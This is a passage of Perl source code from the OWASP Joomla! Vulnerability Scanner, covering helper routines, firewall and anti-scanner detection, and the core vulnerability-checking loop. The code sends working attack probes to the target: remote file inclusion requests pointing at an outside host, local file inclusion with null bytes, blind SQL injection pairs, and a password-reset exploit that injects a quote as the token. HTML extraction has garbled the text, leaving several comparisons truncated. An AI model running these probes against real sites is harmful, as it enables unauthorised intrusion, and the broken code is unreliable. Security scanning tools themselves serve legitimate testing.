my $htmlContent = shift;

if ($htmlContent =~ /

(.*?)/gi)<p> {</p> <p> return $1;</p> <p> }</p> <p> else {</p> <p> return '';</p> <p> }</p> <p> }</p> <p> sub trim</p> <p> {</p> <p> my $string = shift;</p> <p> $string =~ s/^\s+//;</p> <p> $string =~ s/\s+$//;</p> <p> return $string;</p> <p> }</p> <p> </p> <p> sub nl_to_br</p> <p> {</p> <p> my $string = shift;</p> <p> $string =~ s/\n/<br>/g;</p> <p> return $string;</p> <p> }</p> <p> ## star* to strong</p> <p> sub st_to_str</p> <p> {</p> <p> my $string = shift;</p> <p> $string =~ s/\*\*/<strong>/g;</strong></p> <p> $string =~ s/\*//g;</p> <p> return $string;</p> <p> }</p> <p> </p> <p> sub get_components_reported</p> <p> {</p> <p> my $c = shift;</p> <p> my @ar = ();</p> <p> while($c =~ m{option=(.*?)(&|&|")}ig) </p> <p> {</p> <p> if (find_in_array($1,@ar) eq 0)</p> <p> {</p> <p> push @ar, $1;</p> <p> }</p> <p> }</p> <p> while($c =~ m{\/component\/option,(.*?)\/}ig) </p> <p> {</p> <p> if (find_in_array($1,@ar) eq 0)</p> <p> {</p> <p> push @ar, $1;</p> <p> }</p> <p> }</p> <p> return @ar; </p> <p> }</p> <p> </p> <p> sub find_in_array</p> <p> {</p> <p> my($what, @array) = @_;</p> <p> foreach (0..$#array) {</p> <p> if ($what eq $array[$_]) {</p> <p> return 1; </p> <p> }</p> <p> }</p> <p> 0; </p> <p> }</p> <p> sub find_in_arrayx</p> <p> {</p> <p> my($what, @array) = @_;</p> <p> my $what1 = $what.'+';</p> <p> my $what2 = $what.'-';</p> <p> </p> <p> foreach (0..$#array) {</p> <p> if ($what1 eq $array[$_]) {</p> <p> return 1; </p> <p> }</p> <p> elsif ($what2 eq $array[$_]) {</p> <p> return 1; </p> <p> }</p> <p> }</p> <p> 0; </p> <p> }</p> <p> sub array_max</p> <p> {</p> <p> # returned value is used in string</p> <p> # thus, it's safe to return string for undefined $array[0]</p> <p> # I can't fill up 999 as Brandon Enright suggested</p> <p> # bcoz this will falsely report the deduced version range</p> <p> # best return is "?", which makes people think the unretrievale version</p> <p> my @array = @_;</p> <p> if($#array eq -1){return '?';}</p> <p> my $max = $array[0]; </p> <p> foreach (0..$#array) { </p> <p> if ($max </p> <p> $max = $array[$_];</p> <p> }</p> <p> }</p> <p> return $max;</p> <p> }</p> <p> </p> <p> sub array_min</p> <p> {</p> <p> # returned value is used in string</p> <p> # thus, it's safe to return string for undefined $array[0]</p> <p> # I can't fill up 0 as Brandon Enright suggested</p> <p> # bcoz this will falsely report the deduced version range</p> <p> # best return is "?", which makes people think the unretrievale version</p> <p> my @array = @_;</p> <p> if($#array eq -1){return '?';} </p> <p> my $min = $array[0]; </p> <p> foreach (0..$#array) { </p> <p> if ($min > $array[$_]) { </p> <p> $min = $array[$_];</p> <p> }</p> <p> } </p> <p> return $min;</p> <p> }</p> <p> </p> <p> sub get_url_content</p> <p> {</p> <p> my $u = shift; </p> <p> my $resquest = GET "$u";</p> <p> my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);</p> <p> $ua->agent($uagent);</p> <p> if(defined($proxy) && $proxy ne '')</p> <p> {</p> <p> if($proxy !~ /:\/\//){$proxy = 'http://'.$proxy;}</p> <p> $ua->proxy(['http', 'ftp'],$proxy ); </p> <p> } </p> <p> my $response = $ua->request($resquest); </p> <p> if($response->status_line =~ /200/ && $response->header("Content-Type") =~ /(php|html|javascript|css|xml)/)</p> <p> {</p> <p> return $response->content; </p> <p> }</p> <p> else</p> <p> {</p> <p> return '';</p> <p> } </p> <p> }</p> <p> sub get_url_any_content</p> <p> {</p> <p> my $u = shift; </p> <p> my $resquest = GET "$u";</p> <p> my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);</p> <p> $ua->agent($uagent);</p> <p> if($proxy ne '')</p> <p> {</p> <p> if($proxy !~ /:\/\//){$proxy = 'http://'.$proxy;}</p> <p> $ua->proxy(['http', 'ftp'],$proxy ); </p> <p> } </p> <p> my $response = $ua->request($resquest); </p> <p> if($response->status_line =~ /200/)</p> <p> {</p> <p> return $response->content; </p> <p> }</p> <p> else</p> <p> {</p> <p> return '';</p> <p> } </p> <p> }</p> <p> </p> <p> </p> <p> sub htime{ </p> <p> my $t= shift;</p> <p> if($t eq 3600) {return '1 hr';}</p> <p> elsif($t > 3600){</p> <p> my $x = $t/3600;</p> <p> my @hm = split(/\./, $x);</p> <p> my $h = $hm[0]; </p> <p> my $mi = '0 min and 0 sec';</p> <p> $mi = htime($t%3600); </p> <p> return $h." hr and $mi"; </p> <p> }</p> <p> elsif($t > 60) {</p> <p> my $m = ($t/60);</p> <p> my @rm = (split/\./, $m);</p> <p> my $rs = ($t%60);</p> <p> return $rm[0]." min and $rs sec";</p> <p> } </p> <p> elsif($t == 60){ return '1 min';}</p> <p> elsif($t </p> <p> }</p> <p> sub print_time_taken</p> <p> {</p> <p> $end_time = time();</p> <p> my $time_taken = $end_time - $start_time;</p> <p> print "\n~</p> <p> [*] Time Taken: ".htime($time_taken)."\n";</p> <p> }</p> <p> sub bye</p> <p> {</p> <p> print_time_taken();</p> <p> print "~</p> <p> [*] Send bugs, suggestions, contributions to ".reverse($JOOMSCAN{bug_report_email})."\n";</p> <p> print "\a";</p> <p> exit(); </p> <p> }</p> <p> sub print_completed_by_percentage</p> <p> {</p> <p> my ($total,$done) = @_;</p> <p> if ($done%15 == 0 || $done==$total)</p> <p> {</p> <p> use Math::BigFloat;</p> <p> my $complete = (100/$total)*$done;</p> <p> my $completed = Math::BigFloat->new("$complete");</p> <p> $completed->precision(-2);</p> <p> print "\n[!] $completed\% completed~\n\n";</p> <p> }</p> <p> }</p> <p> </p> <p> sub get_admin_dir</p> <p> { </p> <p> </p> <p> if(check_if_exists("$url/administrator/") eq 1 )</p> <p> {</p> <p> return '/administrator/';</p> <p> }</p> <p> else</p> <p> {</p> <p> if (check_if_exists("$url/admin/") eq 1 ){return '/admin/';} </p> <p> if (check_if_exists("$url/administration/") eq 1 ){return '/administration/';} </p> <p> if (check_if_exists("$url/manage/") eq 1 ){return '/manage/';}</p> <p> </p> <p> if (check_if_exists("$url/joomla/administrator/") eq 1 ){return '/joomla/administrator/';} </p> <p> if (check_if_exists("$url/joomla/admin/") eq 1 ){return '/joomla/admin/';} </p> <p> if (check_if_exists("$url/joomla/administration/") eq 1 ){return '/joomla/administration/';} </p> <p> if (check_if_exists("$url/joomla/manage/") eq 1 ){return '/joomla/manage/';}</p> <p> </p> <p> else{return '/admin_dir_was_renamed/';}</p> <p> } </p> <p> }</p> <p> </p> <p> sub print_owasp_logo{</p> <p> </p> <p> print qq {</p> <p> </p> <p> ..|''|| '|| '||' '|' | .|'''.| '||''|. </p> <p> .|' || '|. '|. .' ||| ||.. ' || || </p> <p> || || || || | | || ''|||. ||...|' </p> <p> '|. || ||| ||| .''''|. . '|| || </p> <p> ''|...|' | | .|. .||. |'....|' .||. </p> <p> </p> <p> };</p> <p> </p> <p> }</p> <p> </p> <p> sub md5hex</p> <p> {</p> <p> my $str = shift; </p> <p> return Digest::MD5->new->add(encode_utf8($str))->hexdigest;</p> <p> }</p> <p> sub gimme5</p> <p> {</p> <p> my $str = shift;</p> <p> return substr($str,0,5);</p> <p> }</p> <p> sub is_sqlin</p> <p> {</p> <p> my $str = shift;</p> <p> if ($str =~ /\x1e+[\w]+:+[\w]+\x1e+:+[\w\s]+\x1e/g || $str =~ /:([0-9a-fA-F]{32})/gi </p> <p> || $str =~ m/You\shave\san\serror\sin\syour\sSQL\ssyntax/gi</p> <p> || $str =~ m/supplied\sargument\sis\snot\sa\svalid\sMySQL\sresult\sresource/gi</p> <p> || $str =~ m/Invalid\sargument\ssupplied\s\for/gi)</p> <p> {</p> <p> return 1;</p> <p> }</p> <p> 0; </p> <p> }</p> <p> sub is_path_disclosed</p> <p> { </p> <p> my $str = shift;</p> <p> if ($str =~ /(Parse\serror:|Fatal\serror:)\s(.*?)on\sline/gi)</p> <p> {</p> <p> return 1;</p> <p> }</p> <p> 0; </p> <p> }</p> <p> sub has_fake200s</p> <p> {</p> <p> my $u = shift;</p> <p> my $fake_found = 0;</p> <p> my $fake_found_t = 0;</p> <p> my @r = ('cfcd2','c4ca4','c81e7','eccbc','a87ff','e4da3','167e0','8f14e','c9f0f','45c48');</p> <p> foreach my $i(@r)</p> <p> {</p> <p> if(do_HEAD_request($u."/$i/") =~ /200/)</p> <p> {</p> <p> $fake_found_t++;</p> <p> }</p> <p> }</p> <p> if($fake_found_t > 5)</p> <p> {</p> <p> $fake_found = 1;</p> <p> } </p> <p> return $fake_found;</p> <p> }</p> <p> sub get_fake200s</p> <p> {</p> <p> ## first we print hash</p> <p> ## second we grep title</p> <p> my $u = shift;</p> <p> my @r = ('c4ca4','c81e7','eccbc','a87ff','e4da3','167e0','8f14e','c9f0f','45c48');</p> <p> my @pg5 = ();</p> <p> my @ti = ();</p> <p> foreach my $i(@r)</p> <p> {</p> <p> my $con = get_url_content($u."/$i/");</p> <p> push @ti, get_title($con);</p> <p> push @pg5, md5hex($con);</p> <p> }</p> <p> my $pg_i = md5hex(get_url_content($u."/cfcd2/"));</p> <p> if( find_in_array($pg_i,@pg5) )</p> <p> {</p> <p> return $pg_i;</p> <p> }</p> <p> else</p> <p> {</p> <p> # let's try more</p> <p> my $pg_t = get_title(get_url_content($u."/cfcd2/"));</p> <p> if( find_in_array($pg_t,@pg5) )</p> <p> {</p> <p> return $pg_t;</p> <p> } </p> <p> }</p> <p> 0;</p> <p> }</p> <p> sub get_hostn</p> <p> {</p> <p> my $u = shift;</p> <p> $u =~ s/http:\/\///;</p> <p> $u =~ s/https:\/\///;</p> <p> if(index($u,'/') </p> <p> {</p> <p> return $u;</p> <p> }</p> <p> else</p> <p> {</p> <p> return substr($u,0,index($u,'/'));</p> <p> }</p> <p> </p> <p> }</p> <p> # if equal, return 1, else return bigger version</p> <p> # consider major,minor,revision,build</p> <p> sub get_bigger_ver</p> <p> {</p> <p> my ($a,$b) =@_;</p> <p> my $x = substr($a,0,3); # 2.5</p> <p> my $y = substr($b,0,3); # 2.6</p> <p> if($x > $y){return $a;} #</p> <p> elsif($x </p> <p> elsif($x == $y){my $i = substr($a,4,6);my $j = substr($b,4,6);if($i > $j){return $a;}elsif($i </p> <p> else{return 0;}</p> <p> }</p> <p> sub pie_values</p> <p> {</p> <p> my $r = "";</p> <p> if($J_XSS_HOLES > 0){$r .= "['XSS', $J_XSS_HOLES],";}</p> <p> if($J_SQLin_HOLES > 0){$r .= "['SQL Injection', $J_SQLin_HOLES],";}</p> <p> if($J_FI_HOLES > 0){$r .= "['File Inclusion', $J_FI_HOLES],";}</p> <p> if($J_INFO_HOLES > 0){$r .= "['Information Disclosure', $J_INFO_HOLES],";}</p> <p> if($J_DirTr_HOLES > 0){$r .= "['Directory Traversal', $J_DirTr_HOLES ],";}</p> <p> if($J_OTHER_HOLES > 0){$r .= "['Others', $J_OTHER_HOLES],";} </p> <p> $r =~ s/,$//;</p> <p> return $r;</p> <p> } </p> <p> sub pie_colors</p> <p> {</p> <p> my @c = ('#CB0A0A', '#FB4800', '#FF6B28','#FB9900','#923A2E','#CA6558');</p> <p> my $t = 0;my $r = "[";</p> <p> </p> <p> if($J_XSS_HOLES > 0){$t++;} if($J_SQLin_HOLES > 0){$t++;} if($J_FI_HOLES > 0){$t++;} if($J_INFO_HOLES > 0){$t++;} if($J_DirTr_HOLES > 0){$t++;} if($J_OTHER_HOLES > 0){$t++;}</p> <p> for my $e(0..$#c)</p> <p> {</p> <p> if($e </p> <p> }</p> <p> $r =~ s/,$//; $r .= "];";</p> <p> return $r;</p> <p> }</p> <p> ######### [/ROUTINES] #########</p> <p> </p> <p> $admin_dir = get_admin_dir($url);</p> <p> </p> <p> print_owasp_logo();</p> <p> </p> <p> print qq{</p> <p> =================================================================</p> <p> OWASP Joomla! Vulnerability Scanner v$JOOMSCAN{scanner_version} </p> <p> © $JOOMSCAN{author}</p> <p> YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab</p> <p> Update by: Web-Center, http://web-center.si (2011)</p> <p> =================================================================</p> <p> </p> <p> };</p> <p> </p> <p> $found = 0; ## refer to the number of vunerable stuffs found</p> <p> $rfifound = 0;</p> <p> </p> <p> print qq{</p> <p> Vulnerability Entries: $dbentry</p> <p> Last update: $lastupdate</p> <p> </p> <p> Use "update" option to update the database</p> <p> Use "check" option to check the scanner update</p> <p> Use "download" option to download the scanner latest version package</p> <p> Use svn co to update the scanner and the database</p> <p> svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan </p> <p> </p> <p> </p> <p> Target: $url</p> <p> </p> <p> };</p> <p> </p> <p> ### 503/404 Check Fingerprinting ###</p> <p> $target =$ua->get("$url");</p> <p> if($target->status_line =~ /(40|50)/g)</p> <p> {</p> <p> print '[x] Unable to process any more. I get - '. $target->status_line."\n\n";</p> <p> bye;</p> <p> }</p> <p> if ($target->content =~ /(Database\sError:\sUnable\sto\sconnect\sto\sthe\sdatabase|This\ssite\sis\stemporarily\sunavailable)/gi)</p> <p> {</p> <p> print "### The site is probably in maintenance.###\n\n";</p> <p> sleep(3);</p> <p> }</p> <p> </p> <p> if (defined($target->header('Server')))</p> <p> {</p> <p> print 'Server: '.$target->header('Server')."\n";</p> <p> $server_headers .= 'Server: '.$target->header('Server')."\n";</p> <p> }</p> <p> if (defined($target->header('X-Powered-By')))</p> <p> {</p> <p> print 'X-Powered-By: '.$target->header('X-Powered-By')."\n";</p> <p> $server_headers .= 'X-Powered-By: '.$target->header('X-Powered-By')."\n";</p> <p> }</p> <p> </p> <p> if(($args{o}) && $args{o} eq 'h')</p> <p> {</p> <p> open(EX,">$outfile") || die "Cannot open $urlfile $!"; </p> <p> print EX ""-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n</p>\n<title>".get_hostn($url)." ($today) | OWASP Joomla! Vulnerability Scanner Result\\n\n\n\n\n\n\n\n\n

\n
This is the hidden content, please
\nOWASP Joomla! Vulnerability Scanner

\n
\n

$url

".nl_to_br($server_headers)."
Date: $now

Printable View


\n

Exploit [toggle]  [close] URL: [
This is the hidden content, please
]


Vulnerability Summary







\nReconnaissance Result


";

}

elsif(($args{o}) && $args{o} eq 't')

{

open(EX,">$outfile");

print EX "

 

..|''|| '|| '||' '|' | .|'''.| '||''|.

.|' || '|. '|. .' ||| ||.. ' || ||

|| || || || | | || ''|||. ||...|'

'|. || ||| ||| .''''|. . '|| ||

''|...|' | | .|. .||. |'....|' .||.

 

";

print EX "\nOWASP Joomla! Vulnerability Scanner v$JOOMSCAN{scanner_version} Results\nDate: $now\n\nTarget : $url\n\n$server_headers\n\n";

}

 

if ($admin_dir =~ /renamed/gi)

{

print "\n\n## NOTE: The Administrator URL was renamed. Bruteforce it. ##\n## None of /administrator, /admin, /manage ##\n";

}

 

## [Essential Check] ###

print qq{

 

## Checking if the target has deployed an Anti-Scanner measure

};

if(has_fake200s($url) eq 1)

{

print qq{

## WARNING ##

 

[!] The target responds with 200 for every 404 request

[!] Activating anti-200 Bypass ... Please wait.

};

$H200bypass = get_fake200s($url);

if($H200bypass eq 0)

{

print "\a\a"; # Attention please!

print qq{

 

[!] Damn, unable to bypass! The target emits random strings.

[!] I need your help.

 

[!] Enter strings in common or valid regular expression

when you see after requesting the two urls:

$url/a_sdf and $url/hj_kl

e.g Page Not Found, \\d{10,15}

 

>> };

my $tmpuinput = ;

chomp($tmpuinput);

while($tmpuinput eq "")

{

print qq{

[!] Enter strings in common or valid regular expression

when you see afer requesting the two urls:

$url/a_sdf and $url/hj_kl

e.g Page Not Found, \\d{10,15}

 

>> };

chomp($tmpuinput = );

 

}

my $a404c = get_url_content("$url/akdjflaksdjfaslkfjas");

 

 

## must validate user input , must work

my $v_200 = 0;

my $r_syn = 0;

while ($v_200 eq 0)

{

eval {

if( $a404c =~ m{$tmpuinput} ) { }

};

$r_syn = 1 unless $@;

 

if($r_syn eq 1)

{

if( $a404c =~ m{$tmpuinput} ) { $v_200 = 1; }

}

 

unless($v_200 eq 1)

{

print qq{

[!] [ERROR] Your strings do not work or are not found in page!

};

$tmpuinput = '';

while($tmpuinput eq "")

{

print qq{

>> };

$tmpuinput = ;

chomp($tmpuinput);

}

}

}

 

$H200bypass = $tmpuinput;

print qq{

[!] OK. Your strings work. Thanks!

};

undef $tmpuinput;

 

}

else

{

print qq{

[!] OK, got a unique hash - $H200bypass

};

}

## Here we've got the value $H200bypass

## we'll use it to check actual 404

 

}

 

else

{

print "\n[!] Scanning Passed ..... OK \n";

}

## [/Essential Check] ###

 

### [Joomla! Firewall Detection] ###

my $firewall_found = '';

 

if( (!defined($args{n})) or (defined($args{n}) && $args{n} !~ /f/g) )

{

print qq{

 

## Detecting Joomla! based Firewall ...

};

 

if(check_if_exists($url.$admin_dir."/components/com_rsfirewall/") eq 1 or

check_if_exists($url."/components/com_rsfirewall/") eq 1 or

check_if_exists($url.$admin_dir."/components/com_firewall/") eq 1 or

check_if_exists($url."/components/com_firewall/") eq 1 )

{

$firewall_found .= qq{

[!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.

[!] The vulnerability probing may be logged and protected.

};

}

 

if(check_if_exists($url.$admin_dir."/components/com_jfw/") eq 1 or

check_if_exists($url."/components/com_jfw/") eq 1 or

check_if_exists($url.$admin_dir."/components/com_jfirewall/") eq 1 or

check_if_exists($url."/components/com_jfirewall/") eq 1

 

)

{

$firewall_found .= qq{

[!] A Joomla! J-Firewall (com_jfw) is detected.

[!] The vulnerability probing may be logged and protected.

};

}

 

if(check_if_exists($url.$admin_dir."/modules/mod_securelive/") eq 1 or

check_if_exists($url."/modules/mod_securelive/") eq 1 or

check_if_exists($url.$admin_dir."/components/com_securelive/") eq 1 or

check_if_exists($url."/components/com_securelive/") eq 1

)

{

$firewall_found .= qq{

[!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.

[!] The vulnerability probing may be logged and protected.

};

}

 

if(check_if_exists($url.$admin_dir."/media/ninjasecurity") eq 1 or

check_if_exists($url."/plugins/system/ninjasecurity") eq 1 or

check_if_exists($url."/plugins/system/ninjasecurity.php") eq 1

)

{

$firewall_found .= qq{

[!] A SecureLive Joomla! firewall is detected.

[!] The vulnerability probing may be logged and protected.

};

}

 

 

if(check_if_exists($url."/init.php") eq 1 or

check_if_exists($url."/firewall.php") eq 1 or

check_if_exists($url."/fsAdmin/") eq 1 or

check_if_exists($url."/fsadmin/") eq 1 or

get_url_content($url) =~ /

Vulnerability Assessment Result


+Vulnerabilities

Discovered


";}

if(($args{o}) && $args{o} eq 't'){print EX "\n\nVulnerabilities Discovered\n==========================";}

print "\n\n";

### /List components extracted from index page ####

 

### Scanning Core ####

 

print "\nVulnerabilities Discovered\n==========================\n\n";

open(JO, "$JOOMSCAN{joomdbfile}") || die "Cannot open $JOOMSCAN{joomdbfile} : $!";

my $timer = 0;

my $total_found_entries = 0;

my $found_vulnerable = 0;

my @checked_urls = ();

 

while() {

chomp;

 

my $info = substr($_,0,index($_,'Version'));

if ($info =~ /^###/){next;}

 

if (length($info) ne 0)

{

my $jversion = substr($_,index($_,'Version'),(length(substr($_,0,index($_,'|')))-length($info)));

my $check = substr($_,index($_,'|')+1,((rindex($_,'|')-(index($_,'|'))-1)));

my $exploit = substr($_,rindex($_,'|')+1);

 

 

my $component_onfocus = 'N/A';

my $component_onfocus_Itemid = 'N/A';

my $component_onfocus_id = 'N/A';

 

 

$check =~ s/\s//g;

$info =~ s/^\s//g;

 

$info =~ s/\s\s\s\s/ /g;

$info =~ s/\s\s\s/ /g;

$info =~ s/\s\s/ /g;

 

$jversion =~ s/\s\s\s\s/ /g;

$jversion =~ s/\s\s\s/ /g;

$jversion =~ s/\s\s/ /g;

 

## match only to what it exists - administrator, admin

if ($check =~ /\/administrator/g)

{

$check =~ s/\/administrator/$admin_dir/gi;

}

 

## // -> /

$check =~ s/\/\//\//g;

## /dir -> /dir/

if($check !~ /\/$/ && $check !~ /(\.)[a-z-A-Z-0-9]/g)

{

$check =~ s/\?//g;

$check .= '/';

$check =~ s/\/\//\//g;

}

if ($check =~ m{com_(.*?)/}ig){ $component_onfocus = 'com_'.$1;}

 

if($target->content =~ m{option=$component_onfocus&Itemid=(.*?)&id=(.*?)(&|&|")}ig)

{

$component_onfocus_Itemid = $1;$component_onfocus_id = $2;

}

elsif($target->content =~ m{option=$component_onfocus&(.*?)&Itemid=(.*?)(&|&|")}ig)

{

$component_onfocus_Itemid = $2;

}

if($target->content =~ m{option=$component_onfocus&(.*?)&id=(.*?)(&|&|")}ig)

{

$component_onfocus_id = $2;

}

 

 

if(length($check) ne 0 )

{

my $resource_found = 0; ## e.g does /components/com_vulnerable exist ?

 

# if this has not been HEAD checked, we add it to checked_urls & we HEAD check it

if (find_in_arrayx(gimme5(md5hex($check)),@checked_urls) eq 0)

{

 

my $request_chk = check_if_exists("$url$check");

 

if(($args{v}) && $args{v} =~ /u/gi){ print "\n$url$check --- ",$request_chk ,"\n"; }

 

if($request_chk eq 1)

{

push @checked_urls, gimme5(md5hex($check)).'+';

$resource_found = 1;

}else{push @checked_urls, gimme5(md5hex($check)).'-';}

 

 

}

else

{

## check url only once, no more twice or thrice

if (find_in_array(gimme5(md5hex($check)).'+',@checked_urls) eq 1){$resource_found = 1;}

}

 

 

########## [information Gathering] ######################

# if resource is found, then we audit it to find vulnerability

if($resource_found eq 1)

{

if($found==0)

{

if(($args{o}) && $args{o} eq 'h')

{

print EX "

    ";

    }

    elsif(($args{o}) && $args{o} eq 't')

    {

    print EX "\n\n";

    }

    }

    else

    {

    if($args{o})

    {

    open(EX,">>$outfile") || die "Cannot open $outfile $!";

    }

    }

    $found++;

     

    # clean info

    if($info =~ /(RFI|LFI)/)

    {

    $info =~ s/LFI/Local File Inclusion/;

    $info =~ s/RFI/Remote File Inclusion/;

    }

     

    print '# '.$found."\n";

    print "Info -> $info\n$jversion\nCheck: $check\nExploit: $exploit";

    if(($args{o}) && $args{o} eq 'h')

    {

    print EX "

  1. Info -> $info
    $jversion
    Check: $url$check 
    Exploit:

    ";

     

    }

    elsif(($args{o}) && $args{o} eq 't')

    {

    print EX '# '.$found."\nInfo -> $info\n$jversion\nCheck: $check\nExploit: $exploit\n";

     

    }

     

    ########## [Vulnerability Detection] ######################

    my $isvuln = 0;

    my $vulnans = 'N/A';

     

    switch($info)

    {

    case (/htaccess\.txt/i)

    {

    $isvuln = 1;

    }

    case (/Administrator/i)

    {

    # we further need to detect if it's protected with secret parameter defense

    if($firewall_found ne '' && $firewall_found =~ /jSecure/i){$isvuln = 0;}

    elsif(get_url_content($url.$admin_dir.'index.php') =~ /JavaScript\smust\sbe\senabled\sfor/i ){$isvuln = 1;}

    }

    case (/(file include|file inclusion|RFI|LFI)/i)

    {

    if($exploit =~ m/N\/A/g){last;}

     

    $exploit = trim($exploit);

    my $rfi1 = $ua->get($url.$exploit.'http://test.acunetix.com/acunetix_not_execute?');

    my $rfi2 = $ua->get($url.$exploit.'http://test.acunetix.com/acunetix_not_execute%00');

    my $lfi1 = $ua->get($url.$exploit.'noshell.txt?');

    my $lfi2 = $ua->get($url.$exploit.'noshell.txt%00');

     

     

    if(($rfi1->status_line =~ m/200/g) && ($rfi1->content =~ m/8290a799ef731b633cfdf759a1de7f63/g) )

    {

    $isvuln = 1;

    }

    elsif(($rfi2->status_line =~ m/200/g) && ($rfi2->content =~ m/8290a799ef731b633cfdf759a1de7f63/g) )

    {

    $isvuln = 1;

    }

    elsif(($lfi1->status_line =~ m/200/g) && ($lfi1->content =~ m/(Smarty error:|Warning:|unable to read resource:|Failed opening|failed to open stream|No such file or directory)/gi) )

    {

    $isvuln = 1;

    }

    elsif(($lfi2->status_line =~ m/200/g) && ($lfi2->content =~ m/(Smarty error:|Warning:|unable to read resource:|Failed opening|failed to open stream|No such file or directory)/gi) )

    {

    $isvuln = 1;

    }

    else { $vulnans= 'No'; }

     

    } #end /file inclusion/

    case (/file upload/i)

    {

    if($info =~ /com_pinboard/gi)

    {

    $exploit = trim($exploit);

    my $fileup = get_url_content($url.$exploit);

    if($fileup =~ /\

    {

    $isvuln = 1;

    }

    else { $vulnans= 'No'; }

    }

     

    } # /file upload

    case (/file download/i)

    {

    if($info =~ /com_rsfiles/gi)

    {

    $exploit = trim($exploit);

    if($ua->get($url.$exploit)->as_string =~ /Content\-Disposition:\sattachment;/gi)

    {

    $isvuln = 1;

    }else { $vulnans= '~Possible. Confirm by fuzzing.'; }

    }

     

    } # /file download

    case (/com_search/i)

    {

    if($ua->get($url.$exploit)->content =~ /b56a18e0eacdf51aa2a5306b0f533204/gi)

    {

    $isvuln = 1;

    }else { $vulnans= 'No'; }

     

    }

    case (/Remote\sAdmin\sPassword\sChange/i)

    {

    my $ua_ra = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);

    $ua_ra->agent($uagent);

    $ua_ra->default_header('Referer'=> "http://$url/");

    $ua_ra->timeout(30);

    $ua_ra->cookie_jar({});

    my $ra_req = $ua_ra->get($url.'/index.php?option=com_user&view=reset&layout=confirm');

    if ($ra_req->content =~ /Confirm\syour\saccount/gi && $ra_req->content =~ /([0-9a-fA-F]{32})/gi)

    {

    my $ra_token = $1;

     

    my $ra_pwd_reset = $ua_ra->request(

    POST $url.'/index.php?option=com_user&task=confirmreset',

    Content => [

    token=> "'",

    $ra_token => 1

    ],

    Referer => $url.'/index.php?option=com_user&view=reset&layout=confirm'

    );

     

    if($ra_pwd_reset->content =~ /input\sid=\"password2\"\sname=\"password2\"\stype=\"password\"\sclass=\"required\svalidate\-password\"/gi)

    {

    $isvuln = 1;

    }

    else { $vulnans= 'No'; }

    }

    undef $ua_ra;

     

    } # remote admin

    case (/SQL[\s-]Injection/i)

    {

    if ($info =~ /blind/gi && $info !~ /com_content\sBlind/)

    {

    my $blind_sqlin_param = 'N/A';

    my $blind_sqlin_param_value = 'N/A';

    my $blind_sqlin_param_pair = 'N/A';

     

    if($check =~ /com_jombib/gi)

    {

    my $resbsql = $ua->request(

    POST $url.'/index.php?option=com_jombib&task=search',

    Content => [

    afilter => "a'",

    filter => '',

    order => 'ryear',

    limit => '25',

    option => 'com_jombib',

    catid => ''

    ]

    );

    if($resbsql->status_line =~ /200/ && $resbsql->content =~ /Warning\:\sInvalid\sargument\ssupplied\sfor\sforeach/gi)

    {

    $isvuln = 1;

    }

    else {$vulnans= 'No';}

    }

    elsif($exploit =~ /::/g )

    {

    my $exploit1 = substr($exploit,0,index($exploit,'::'));

    my $exploit2 = substr($exploit,length($exploit1)+2,length($exploit));

     

    if($check =~ /components\/com\_php/i)

    {

    if($target->content =~ m{option=com_php&Itemid=(.*?)&id=(.*?)(&|&|")}ig)

    {

    my $com_php_Itemid = $1;my $com_php_id = $2;

    $exploit1 =~ s/Itemid=\[iNSERT\]/Itemid=$com_php_Itemid/;

    $exploit1 =~ s/id=\[iNSERT\]/id=$com_php_id/;

    $exploit2 =~ s/Itemid=\[iNSERT\]/Itemid=$com_php_Itemid/;

    $exploit2 =~ s/id=\[iNSERT\]/id=$com_php_id/;

    }

    }

    else

    { ## find vulnerable param

    ## e.g &iid=1+and+1=2

    if($exploit =~ m{&([a-z-A-Z_]{2,15})\=1\+and\+1\=2}ig)

    {

    $blind_sqlin_param = $1;

    }

    ## got iid

    ## now,find the valid of iid in front page content

    ## associte it with component name

    ## must extract from pair of string till vulnerable id

    ## e.g com_paxxgallery..iid=?

    ## e.g. option=com_paxxgallery&Itemid=85&gid=7&userid=1&task=view&iid=VALID

     

    ## then we compare

    ## option=com_paxxgallery&Itemid=85&gid=7&userid=1&task=view&iid=VALID+1+and+1=2

    ## option=com_paxxgallery&Itemid=85&gid=7&userid=1&task=view&iid=VALID+1+and+1=1

     

    if($component_onfocus !~ /N\/A/g)

    {

    if($target->content =~ m{option=$component_onfocus(&|&)$blind_sqlin_param=(.*?)(&|&)(.*?)"}ig)

    {

    $blind_sqlin_param_value = $1;

    $blind_sqlin_param_pair = '/index.php?option='.$component_onfocus.'&'.$blind_sqlin_param.'='.$2.'[iNSERT]&'.$4;

     

    }

    elsif($target->content =~ m{option=$component_onfocus(.*?)&$blind_sqlin_param=(.*?)(&|&|")}ig)

    {

    $blind_sqlin_param_value = $2;

    $blind_sqlin_param_pair = '/index.php?option='.$component_onfocus.$1.'&'.$blind_sqlin_param.'='.$2.'[iNSERT]';

    }

    elsif($target->content =~ m{option=$component_onfocus(&|&)$blind_sqlin_param=(.*?)"}ig)

    {

    $blind_sqlin_param_value = $1;

    $blind_sqlin_param_pair = '/index.php?option='.$component_onfocus.'&'.$blind_sqlin_param.'='.$2.'[iNSERT]';

    }

    }

    if($blind_sqlin_param_pair !~ /N\/A/)

    {

     

    $exploit1 = $blind_sqlin_param_pair;$exploit2 = $blind_sqlin_param_pair;

    $exploit1 =~ s/\[iNSERT\]/1\+and\+1\=1/;

    $exploit2 =~ s/\[iNSERT\]/1\+and\+1\=2/;

    }

     

    }

     

    my $ra1_req = $ua->get($url.$exploit1.'--');

    my $ra2_req = $ua->get($url.$exploit2.'--');

     

    ##print "\nSize: ",length($ra1_req->content),":", length($ra2_req->content);

     

    if ($ra1_req->content !~ /'You\sare\snot\sauthorized\sto\sview\sthis\spage'/gi)

    {

    if ( length($ra1_req->content) eq length($ra2_req->content) )

    {

    ## confirm again

    $exploit1 =~ s/1\+and\+1\=1/1\+1/g;

    my $bs1_req = get_url_content($url.$exploit1);

    if(is_sqlin($bs1_req) eq 1)

    {

    $isvuln = 1;

    }

    else {$vulnans= 'No';}

    }

    else

    {

    $isvuln = 1;

    }

    }

